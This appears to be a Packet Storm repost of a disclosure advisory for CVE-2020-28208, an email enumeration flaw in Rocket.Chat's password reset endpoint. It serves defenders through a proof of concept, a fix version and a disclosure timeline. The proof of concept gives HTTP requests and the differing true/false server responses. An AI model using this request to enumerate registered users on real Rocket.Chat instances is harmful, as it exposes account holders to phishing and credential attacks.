exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Rocket.Chat 3.7.1 Email Address Enumeration

Rocket.Chat 3.7.1 Email Address Enumeration
Posted Jan 7, 2021
Authored by Stefan Pietsch, Trovent Security, Nick Decker | Site trovent.io

Rocket.Chat versions 3.7.1 and below suffers from an email address enumeration vulnerability.

tags | exploit
advisories | CVE-2020-28208
SHA-256 | 023ad89f274a1ee4b96e849967a0021876dca5479963125bc3acb45d9a8cf6fa

Rocket.Chat 3.7.1 Email Address Enumeration

Change Mirror Download
# Trovent Security Advisory 2010-01 #
#####################################


Email address enumeration in reset password
###########################################


Overview
########

Advisory ID: TRSA-2010-01
Advisory version: 1.2
Advisory status: Public
Advisory URL: trovent.io/security-advisory-2010-01
Affected product: Web application Rocket.Chat
Affected version: <= 3.9.1
Vendor: Rocket.Chat Technologies Corp., rocket.chat
Credits: Trovent Security GmbH, Nick Decker, Stefan Pietsch


Detailed description
####################

Trovent Security GmbH discovered an email address enumeration vulnerability
in the password reset function of the chat application Rocket.Chat. This vulnerability lets
an unauthorized user enumerate registered email addresses on the instance of Rocket.Chat.

Severity: Medium
CVSS Score: 5.3 (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N)
CVE ID: CVE-2020-28208
CWE ID: CWE-204


Proof of concept
################

Sample HTTP request sent with a registered email address:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
POST /api/v1/method.callAnon/sendForgotPasswordEmail HTTP/1.1
Host: localhost:3000
Content-Length: 122
Accept: */*
Content-Type: application/json


{"message":"{\"msg\":\"method\",\"method\":\"sendForgotPasswordEmail\",\"params\":[\"\"],\"id\":\"3\"}"}
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

The server response to a valid email address:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
HTTP/1.1 200 OK
X-XSS-Protection: 1
X-Content-Type-Options: nosniff
X-Frame-Options: sameorigin
X-Instance-ID: DQDfuEfNLdbZr3zYH
Cache-Control: no-store
Pragma: no-cache
content-type: application/json
Vary: Accept-Encoding
Date: Tue, 03 Nov 2020 12:01:25 GMT
Connection: keep-alive
Content-Length: 78

{"message":"{\"msg\":\"result\",\"id\":\"3\",\"result\":true}","success":true}
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

Sample HTTP request sent with a non registered email address:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
POST /api/v1/method.callAnon/sendForgotPasswordEmail HTTP/1.1
Host: localhost:3000
Content-Length: 119
Accept: */*
Content-Type: application/json


{"message":"{\"msg\":\"method\",\"method\":\"sendForgotPasswordEmail\",\"params\":[\"\"],\"id\":\"3\"}"}
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

The server response to an invalid email address:

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
HTTP/1.1 200 OK
X-XSS-Protection: 1
X-Content-Type-Options: nosniff
X-Frame-Options: sameorigin
X-Instance-ID: DQDfuEfNLdbZr3zYH
Cache-Control: no-store
Pragma: no-cache
content-type: application/json
Vary: Accept-Encoding
Date: Tue, 03 Nov 2020 12:03:08 GMT
Connection: keep-alive
Content-Length: 79

{"message":"{\"msg\":\"result\",\"id\":\"3\",\"result\":false}","success":true}
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


Solution / Workaround
#####################

Ensure the application returns consistent generic server responses independent
of the email address entered during the password reset process.

Fixed in Rocket.Chat version 3.9.2, verified by Trovent.


History
#######

2020-10-27: Vulnerability found
2020-11-03: Advisory created and CVE ID requested
2020-11-06: Vendor contacted and informed about planned disclosure date
2020-11-06: Vendor confirmed vulnerability, working on a fix
2021-01-07: Advisory published
2021-01-08: Vendor sent us information about fixed version
2021-01-13: Updated affected version (thanks @LorenzNickel), verified with 3.9.1

Login or Register to add favorites

File Archive:

January 2023

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jan 1st
    0 Files
  • 2
    Jan 2nd
    13 Files
  • 3
    Jan 3rd
    5 Files
  • 4
    Jan 4th
    5 Files
  • 5
    Jan 5th
    9 Files
  • 6
    Jan 6th
    5 Files
  • 7
    Jan 7th
    0 Files
  • 8
    Jan 8th
    0 Files
  • 9
    Jan 9th
    18 Files
  • 10
    Jan 10th
    31 Files
  • 11
    Jan 11th
    30 Files
  • 12
    Jan 12th
    33 Files
  • 13
    Jan 13th
    25 Files
  • 14
    Jan 14th
    0 Files
  • 15
    Jan 15th
    0 Files
  • 16
    Jan 16th
    7 Files
  • 17
    Jan 17th
    25 Files
  • 18
    Jan 18th
    38 Files
  • 19
    Jan 19th
    6 Files
  • 20
    Jan 20th
    21 Files
  • 21
    Jan 21st
    0 Files
  • 22
    Jan 22nd
    0 Files
  • 23
    Jan 23rd
    24 Files
  • 24
    Jan 24th
    68 Files
  • 25
    Jan 25th
    22 Files
  • 26
    Jan 26th
    20 Files
  • 27
    Jan 27th
    17 Files
  • 28
    Jan 28th
    0 Files
  • 29
    Jan 29th
    0 Files
  • 30
    Jan 30th
    20 Files
  • 31
    Jan 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close